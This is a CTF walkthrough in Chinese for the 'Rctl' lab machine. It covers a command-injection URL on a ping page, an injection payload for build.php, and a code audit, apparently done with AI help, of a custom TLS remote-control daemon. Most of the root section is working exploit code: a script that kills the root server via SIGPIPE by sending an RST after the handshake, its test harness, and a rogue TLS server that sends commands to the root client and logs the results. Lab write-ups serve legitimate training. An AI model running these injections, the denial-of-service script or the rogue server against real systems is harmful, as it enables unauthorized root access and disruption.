

2026-09-08-Rctl-walkthrough

靶机: Rctl

作者: 群主(群:321948805)

靶机ID: 735

User

nmap简单扫描一下，开了三个端口，7000这个curl了一下，返回一些报错信息，暂时不知道怎么利用，于是去看web。

```
Host is up (0.0054s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.0p2 Debian 7+deb13u4
(protocol 2.0)
80/tcp    open  http         nginx
7000/tcp  open  ssl/afs3-fileserver?
MAC Address: E8:B0:C5:A2:6E:21 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

web有登录窗口，随便爆破一下发现admin:admin可以登录，同时目录扫描发现的device.php可以执行命令，是很经典的ip探测RCE，但是屏蔽了一些管道符号，用%0a换行符可以实现绕过，绕过即可发现user flag。

设备连通性检查

目标IP:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.015/0.015/0.015/0.000 ms
flag{user-2c3eefe33629fcb5c4794716161b3104}
```

Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder HackBar

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSRF SSTI SHELL ENCODING

URL

http://192.168.5.12/device.php?ip=127.0.0.1%0acat%20/var/www/user.txt

Use POST method

MODIFY HEADERS

同时对web目录的源码进行读取，发现原来device.php是通过正则把一些特殊符号替换了。

```
function safe_input($s) {  
    $s = preg_replace("/[;|&><|/]/", "", $s);  
    return $s;  
}
```

还有一个build.php，读取源码后发现它也可以用来rce，并且无任何过滤，因此后续改用它来RCE

```
if ($pkg !== "") {  
    $out = shell_exec("tar czf /tmp/{$pkg}.tar.gz /var/www/firmware 2>&1");  
}
```

利用方式为控制pkg的参数，{command}处为要执行的命令。

```
x;{command};x
```

Root

当前还没有稳定的shell，只能继续用RCE探测一下，有两个发现。

一，存在Rctl服务端和客户端，都是以root来运行的；二，opt里放了Rctl源码。因此后续利用的重点是审计源代码看看有没有可以利用的漏洞。

Rctl服务相关情况：

- rctlser.service - rctl server (device controller)
Loaded: loaded (/etc/systemd/system/rctlser.service; enabled; preset: enabled)
Active: active (exited) since Mon 2026-09-07 22:30:12 EDT; 2h 14min ago
Invocation: fd96ac0bd7e44ae1bc0133d3e4c7b763
Process: 404 ExecStart=/usr/bin/tmux new-session -d -s rctlser /usr/sbin/rctlser (code=exited, status=0/SUCCESS)
Main PID: 404 (code=exited, status=0/SUCCESS)
Tasks: 4 (limit: 2270)
Memory: 8.4M (peak: 8.5M)
CPU: 63ms
CGroup: /system.slice/rctlser.service
└─433 /usr/bin/tmux new-session -d -s rctlser /usr/sbin/rctlser
└─443 /usr/sbin/rctlser
- rctlcli.service - rctl client (managed device agent)

```
Loaded: loaded (/etc/systemd/system/rctlcli.service; enabled; preset:
enabled)
Active: active (running) since Mon 2026-09-07 22:30:12 EDT; 2h 14min
ago
Invocation: 3d3af85ca18041648474d36ecfdc7c44
Main PID: 405 (rctlcli-super.s)
Tasks: 3 (limit: 2270)
Memory: 2M (peak: 2.1M)
CPU: 10ms
CGroup: /system.slice/rctlcli.service
└─405 /bin/sh /usr/local/sbin/rctlcli-super.sh
└─421 /usr/sbin/rctlcli --class=ap-01 --wan=enp0s3 --daemon
└─432 /usr/sbin/rctlcli --class=ap-01 --wan=enp0s3 --daemon
```

Rctl服务内容，这里rctl服务端是以tmux客户端启动的，启动完后rctl还在，tmux客户端退出并由tmux服务端守护rctl服务端进程：

```
# /etc/systemd/system/rctlser.service
[Unit]
Description=rctl server (device controller)
After=network.target

[Service]
Type=simple
ExecStart=/usr/bin/tmux new-session -d -s rctlser /usr/sbin/rctlser
ExecStop=/usr/bin/tmux kill-session -t rctlser
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
```

```
# /etc/systemd/system/rctlcli.service
[Unit]
Description=rctl client (managed device agent)
After=network.target rctlser.service

[Service]
Type=simple
ExecStart=/usr/local/sbin/rctlcli-super.sh
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

Rctl源码情况：

```
ls -la /opt/rctl
total 40
drwxr-xr-x 7 root root 4096 Aug 7 19:49 .
drwxr-xr-x 3 root root 4096 Aug 7 19:49 ..
drwxr-xr-x 2 root root 4096 Aug 7 19:50 client
drwxr-xr-x 7 root root 4096 Aug 7 19:49 .git
drwxr-xr-x 2 root root 4096 Aug 7 19:49 include
drwxr-xr-x 2 root root 4096 Aug 7 19:50 lib
-rw-r--r-- 1 root root 1180 Aug 7 19:49 Makefile
-rw-r--r-- 1 root root 1075 Aug 7 19:49 README
drwxr-xr-x 2 root root 4096 Aug 7 19:50 server
-rwxr-xr-x 1 root root 374 Aug 7 19:49 srctl
```

审计这一块丢给AI了，很快就有重大发现：

1.lib/ssltcp.c的ssltcp_ctx处，直接加载了证书和私钥，不检查身份，也就是说客户端不会验证连接者是否是正确的服务端，服务端也不验证对面是否是允许连接到自己的客户端。

```
static void ssltcp_ctx(int isserver)
{
    ...
    #注意看这里!!!
    if(isserver) {
        ssltcp_cert(ctx, CERT_FILE, SSL_FILETYPE_PEM);
        ssltcp_priv(ctx, PRIV_FILE, SSL_FILETYPE_PEM);
    } else {
        ssltcp_ca(ctx, CA_FILE, NULL);
    }
}
```

2.client/rctl.c的rctl函数的主循环处，bashfrom最终会执行命令 `execlp("sh","sh","-i",NULL)`，由于此处客户端以root运行，所以实际上就能以root执行命令。而且命令由ssltcp_read从服务端中读取然后传来，且客户端默认的服务端运行在本地的127.0.0.1:7000处，也就是说如果可以伪造服务端运行在靶机的7000端口，那么结合漏洞1就能进行root命令执行。

```
# 这里!!!
ret = ssltcp_read(ssl, cmd, CMDLEN);
if(ret <= 0) {
    ssl_free(ssl);
    goto reconnect;
}
cmd[ret] = 0;
```

```

if(!strcmp(cmd, RCTLBASH)) {
# 这里!!!
    bashfrom();
    continue;
}
strncat(cmd, " 2>&1", CMDLEN - strlen(cmd));
FILE *fp; int size;
fp = popen(cmd, "r");

```

3.lib/ssltcp.c的所有socket的写部分都无SIGPIPE处理，也就是没有
 signal(SIGPIPE,SIG_IGN)。这里解释一下什么是SIGPIPE，SIGPIPE是linux中的一种信号，用于处理管道和socket。当一个管道或者socket已经关闭、不再接收输入，而某个进程还在往管道/socket里写数据，那么这个写的进程就会收到SIGPIPE然后强行终止。如果写有
 signal(SIGPIPE,SIG_IGN)则可以让进程忽略该信号，不会因为写一个已经关闭的socket而被终止。

4.server/serd.c的open_outfd函数存在可控的路径，可以劫持路径实现任意写入。

```

snprintf(path, PATH_MAX, "/tmp/%s_%s_%s",
    cli->class->cliclass,
    inet_ntoa(cli->cliaddr.sin_addr),
    macstr);
if(macstr)
    free(macstr);
# 这里!!!
cli->outfile = fopen(path, "a+");

```

然而漏洞4最终AI没有利用成功，于是走了1+2+3：先利用SIGPIPE机制让服务端停止，然后伪造服务端，最后让服务端发送给客户端执行root命令。

利用方式是，serd.c的accept_newcli函数会为了连接新的客户端而清理掉旧的socket，比如其中的clean4最终就是通过TLS的SSL_shutdown()向socket发送close_notify来通知要关闭socket，那么如果我们通过先一步发送RST标志的方式提前关闭socket，触发清理的时候就会往已经关闭的socket写数据，从而导致SIGPIPE终止掉rctl服务端。

就是说，如果服务端没有写SIGPIPE处理，同时服务端在连接关闭时会向socket发送close_notify，那么如果客户端不按常理提前发送RST，就有可能导致服务端向已经关闭的socket写数据而崩溃退出是吧？



🔍 已思考（用时 17 秒） >

你的理解大方向完全正确，逻辑链条也成立！

但在具体的 TCP 时序和 TLS 术语上，有一个非常关键的细微偏差。我先肯定你的结论，再把这个“坑”给你填平。

1. 你的核心推断（完全正确）

如果服务端没有写 `signal(SIGPIPE, SIG_IGN)`：

1. 客户端突然发来 RST（暴力中断）。
2. 服务端对此不知情，继续调用 `write` 向这个 socket 发数据。
3. 服务端内核收到 RST 包，检测到连接已死。
4. 因为没忽略 SIGPIPE，`write` 触发默认信号，服务端进程直接崩溃退出。

你这个“链式反应”的描述是100%准确的。

用Agent结合strace本地调试后生成了利用代码，以下是AI生成的本地调试用的关闭rctl服务端脚本：

```
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
触发写的点：
    1) accept_newcli 的 TLS 服务端握手(server/serd.c ssltcp_accept → 写
ServerHello/Cert...)
    2) accept_newcli 读 reg 失败后 clean4: → ssltcp_shutdown → SSL_shutdown 写
close_notify
    3) epoll 线程 cli_free → ssltcp_shutdown 写 close_notify
其中（2）是稳定触发点：我们完成 TLS 握手，然后【不发 39 字节注册 reg】，
让 accept 线程阻塞在 ssltcp_read(ssl,&reg,39) 里；此刻我们用 SO_LINGER=0 关闭连接
(RST)，
accept 线程的 read 返回 ECONNRESET → 走 clean4 → SSL_shutdown 向已 RST 的
socket 写
close_notify → EPIPE → SIGPIPE → 进程整体死亡。
"""
import socket, ssl, time, subprocess

# 本地复现构建(把 config.h 里端口改成 7003 后的 rctlser)
BASE = "/home/x/Machines/2026-09-08-rctl/local-repro/loc-rctl-build"
```

```
HOST, PORT = "127.0.0.1", 7003
```

```
def start_srv():
    """启动一个全新的 rctlser。
    stdin=管道并保持打开:让 main() 的菜单 scanf 阻塞,避免 stdin EOF 后 command()
    死循环刷屏。
    start_new_session=True:独立会话,便于杀干净。"""
    p = subprocess.Popen(
        ["bash", "-c", "exec ./server/rctlser"],
        cwd=BASE,
        stdin=subprocess.PIPE,          # 父进程持有写端 → 不 EOF
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        start_new_session=True,
    )
    return p
```

```
def wait_port(tries=40):
    """轮询直到 7003 可连(server 已 bind/listen)。"""
    for _ in range(tries):
        try:
            s = socket.create_connection((HOST, PORT), timeout=0.4)
            s.close()
            return True
        except OSError:
            time.sleep(0.1)
    return False
```

```
def rst_close(sock):
    """以 RST 方式关闭:SO_LINGER=1,linger=0 → close() 时内核发 RST,而不是
    FIN。"""
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                     b"\x01\x00\x00\x00\x00\x00\x00\x00")
    sock.close()
```

```
def tls_conn_rst_mode():
    """建立到 server 的 TCP + TLS 客户端握手,并把 socket 置为 RST 模式。
    返回的 ss 一旦 close() 就会发 RST。"""
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                 b"\x01\x00\x00\x00\x00\x00\x00\x00")
    ctx = ssl._create_unverified_context()  # 客户端不校验服务端证书(线上同样如
    此)
    ss = ctx.wrap_socket(s, server_hostname=HOST)
    return ss
```

```

# ----- 各候选触发姿势 -----
def k_no_reg_rst():
    """★ 主力姿势(实测 7/8,线上第一击即死)。
    1) TLS 握手完成
    2) 不发送 39 字节注册 reg → 服务端 accept 线程阻塞在 reg 读取
    3) RST → accept 线程 read 返回 ECONNRESET → clean4 → SSL_shutdown 写
    close_notify → EPIPE→SIGPIPE
    """
    ss = tls_conn_rst_mode()
    time.sleep(0.3)      # 给服务端足够时间走完 SSL_accept 并进入 reg 阻塞读
    ss.close()          # RST

def k_reg_rst():
    """对照:握手后【正常发 reg】再 RST。
    此时 accept 线程已把 reg 读完、连接转交 epoll;RST 由 epoll 线程处理 → cli_free
    写
    close_notify。本机实测 0/8(可能因为写发生在 RST 完全到达前,返回 ECONNRESET 而非
    EPIPE)。"""
    ss = tls_conn_rst_mode()
    ss.sendall(b"r".ljust(33, b"\x00") + b"\x0c" * 6)  # 发合法 39 字节注册
    time.sleep(0.3)
    ss.close()      # RST

def k_reg_then_data_rst():
    """对照:发 reg + 发数据后再 RST。epoll 线程在写日志文件(不是 socket),故也不触发
    SIGPIPE。"""
    ss = tls_conn_rst_mode()
    ss.sendall(b"r".ljust(33, b"\x00") + b"\x0d" * 6)
    time.sleep(0.2)
    ss.sendall(b"X\n")
    time.sleep(0.3)
    ss.close()

def k_hs_partial_rst():
    """对照:TLS 握手中途发半截 ClientHello 后 RST。
    理论上服务端写 ServerHello 时也可能撞 EPIPE,但时序不稳(握手写较早完成),实测
    0/8。"""
    s = socket.create_connection((HOST, PORT), timeout=5)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
                  b"\x01\x00\x00\x00\x00\x00\x00\x00")
    s.sendall(b"\x16\x03\x01\x02\x00\x01\x00\x00\xfc\x03\x03" + b"\x00" *
    32)
    time.sleep(0.2)
    s.close()

if __name__ == "__main__":

```

```

tests = [
    ("no_reg_rst(★主力)", k_no_reg_rst),
    ("reg_rst(对照)", k_reg_rst),
    ("reg_then_data_rst(对照)", k_reg_then_data_rst),
    ("hs_partial_rst(对照)", k_hs_partial_rst),
]
for name, fn in tests:
    kills, errs = 0, 0
    for i in range(8):
        # 每种姿势起 8 个全新 server
        p = start_srv()
        if not wait_port():
            p.kill()
            print(name, "ITER", i, "SERVER-DID-NOT-START", flush=True)
            continue
        try:
            fn()
        except Exception as e:
            errs += 1
            time.sleep(1.0)
            # 给 SIGPIPE 死亡留时间
            if p.poll() is not None:
                # 进程已退出 = 击杀成功
                kills += 1
            else:
                p.kill()
                # 没死就清理
            print(name, "ITER", i, "killed=", p.poll() is not None,
flush=True)
            time.sleep(0.3)
            print(f"{name}: killed {kills}/8 (client errs {errs})", flush=True)

```

实战可复现的关停脚本：

```

import socket,ssl,time,sys
HOST=sys.argv[1] if len(sys.argv)>1 else "127.0.0.1"
PORT=int(sys.argv[2]) if len(sys.argv)>2 else 7000
def up():
    try:
        s=socket.create_connection((HOST,PORT),timeout=1.0); s.close();
    return True
    except OSError:
        return False
def attack():
    s=socket.create_connection((HOST,PORT),timeout=5)

s.setsockopt(socket.SOL_SOCKET,socket.SO_LINGER,b"\x01\x00\x00\x00\x00\x00\x00\x00")
ctx=ssl._create_unverified_context()
try:

```

```

        ss=ctx.wrap_socket(s,server_hostname=HOST)
        time.sleep(0.25)
        ss.close()
    except Exception:
        try: s.close()
        except Exception: pass
print("listener_up before:",up())
for i in range(20):
    attack()
    time.sleep(1.0)
    alive=up()
    print("attempt",i,"listener_up",alive)
    if not alive:
        print(">>> target DOWN on attempt",i)
        break

```

最后是服务端伪造脚本：

```

import socket,ssl,os,time,threading
HOST="0.0.0.0";PORT=7000
ctx=ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
crt="/tmp/rctl_rogue.pem"
if not os.path.exists(crt):
    os.system('openssl req -x509 -newkey rsa:2048 -keyout /tmp/rctl_rogue.key -out /tmp/rctl_rogue.crt -days 1 -nodes -subj /CN=rctl.shanliren.net/O=rctl >/dev/null 2>&1')
    os.system('cat /tmp/rctl_rogue.key /tmp/rctl_rogue.crt > '+crt)
ctx.load_cert_chain(crt)
srv=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
srv.bind((HOST,PORT));srv.listen(8)
open("/tmp/rresp","w").close()
def handle(raw):
    try:
        c=ctx.wrap_socket(raw, server_side=True)
        c.settimeout(1.5)
        data=b""
        while len(data)<39:
            ch=c.recv(39-len(data))
            if not ch: break
            data+=ch
        cmdpath="/tmp/rcmd"
        if os.path.exists(cmdpath):
            cmd=open(cmdpath).read().strip()
            if cmd:
                c.sendall(cmd.encode()+b"\n")

```

```

        buf=b""
        try:
            while True:
                ch=c.recv(8192)
                if not ch: break
                buf+=ch
                c.settimeout(0.5)
            except socket.timeout:
                pass

    open("/tmp/rresp", "a").write("===CMD===" + cmd + "\n" + buf.decode("utf-8", "replace") + "\n")
        try: os.remove(cmdpath)
        except Exception: pass
    except Exception as e:
        open("/tmp/rerr", "a").write(repr(e) + "\n")
    finally:
        try: c.close()
        except Exception: pass
while True:
    try:
        raw,a=srv.accept()
        threading.Thread(target=handle,args=(raw, ), daemon=True).start()
    except Exception:
        time.sleep(0.2)

```